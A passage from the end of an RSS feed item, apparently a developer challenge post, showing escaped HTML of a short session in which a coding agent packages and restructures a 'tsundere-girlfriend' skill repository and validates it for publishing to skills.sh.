                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Packaged the repo: flattened layout with SKILL.md at root, README, MIT LICENSE, .gitignore, git history, updated ~/.agents copy.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;i think the repo should be in the tsundere-girlfriend directory not in mlh-hacktoberfest&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Restructured: repo root is now the tsundere-girlfriend directory itself; history preserved, docs updated.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-user"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-user"&gt;
          You
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;check the tsundere-girlfriend, does this qualify as a skill that can be pushed to skills.sh&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div class="agent-session-text"&gt;
                  &lt;p&gt;Validated with npx skills: discovers 1 skill, valid frontmatter, name matches dir, description 416 chars. Ready to push with gh repo create.&lt;/p&gt;

                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="agent-session-footer"&gt;
    &lt;span class="agent-session-meta"&gt;
        10 of 10 messages
    &lt;/span&gt;
  &lt;/div&gt;
&lt;/div&gt;


</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>hf26challenge</category>
    </item>
  </channel>
</rss>
